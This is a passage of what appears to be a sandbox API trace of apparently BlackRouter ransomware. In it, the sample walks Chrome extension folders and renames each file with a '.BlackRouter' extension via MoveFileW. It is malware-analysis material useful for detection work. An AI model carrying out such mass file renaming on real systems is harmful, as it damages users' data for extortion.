Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x871928f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc3586d50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1a40)) returned 1 [0048.379] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.blackrouter")) returned 1 [0049.360] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0xd4e [0049.407] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85639950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc3f58810, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xd50)) returned 1 [0049.408] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.blackrouter")) returned 1 [0050.201] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x5c [0050.203] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8423be80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8423e590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc46eee30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x60)) returned 1 [0050.204] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html.blackrouter")) returned 1 [0050.205] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x5f [0050.207] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84240ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84240ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc4714f90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x60)) returned 1 [0050.207] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js.blackrouter")) returned 1 [0050.211] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0xd47 [0050.225] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84234950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844b1ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc473b0f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xd50)) returned 1 [0050.225] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png.blackrouter")) returned 1 [0050.226] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x9d [0050.229] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84239770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844b1ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc473b0f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xa0)) returned 1 [0050.229] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png.blackrouter")) returned 1 [0051.088] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x1103 [0051.107] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86012940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc4f8fdf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1110)) returned 1 [0051.107] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js.blackrouter")) returned 1 [0051.107] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x5b6c [0051.113] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86012940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc4fb5f50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x5b70)) returned 1 [0051.113] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js.blackrouter")) returned 1 [0051.114] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0xe0 [0051.117] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86012940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc4fb5f50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0051.117] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js.blackrouter")) returned 1 [0051.121] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x1378 [0051.160] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x862fc2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc5002210, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1380)) returned 1 [0051.160] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.blackrouter")) returned 1 [0052.255] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x32a2e [0052.276] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82888510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8288ac20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc5ab8510, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x32a30)) returned 1 [0052.276] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.blackrouter")) returned 1 [0052.277] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x3b059 [0052.310] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8288d330, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82892150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc5b047d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3b060)) returned 1 [0052.310] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js.blackrouter")) returned 1 [0052.325] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae198 | out: lpFileSizeHigh=0x1ae198*=0x0) returned 0x32a [0052.339] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html"), fInfoLevelId=0x0, lpFileInformation=0x1ae1e0 | out: lpFileInformation=0x1ae1e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828a0bb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828a0bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc5b50a90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x330)) returned 1 [0052.339] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.blackrouter")) returned 1 [0052.446] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae198 | out: lpFileSizeHigh=0x1ae198*=0x0) returned 0x112dc [0052.452] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif"), fInfoLevelId=0x0, lpFileInformation=0x1ae1e0 | out: lpFileInformation=0x1ae1e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828a80e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828aa7f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc5c5b430, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x112e0)) returned 1 [0052.453] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif.blackrouter")) returned 1 [0052.454] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae198 | out: lpFileSizeHigh=0x1ae198*=0x0) returned 0x1109 [0052.458] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae1e0 | out: lpFileInformation=0x1ae1e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828af610, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82aab310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc5c81590, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1110)) returned 1 [0052.458] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 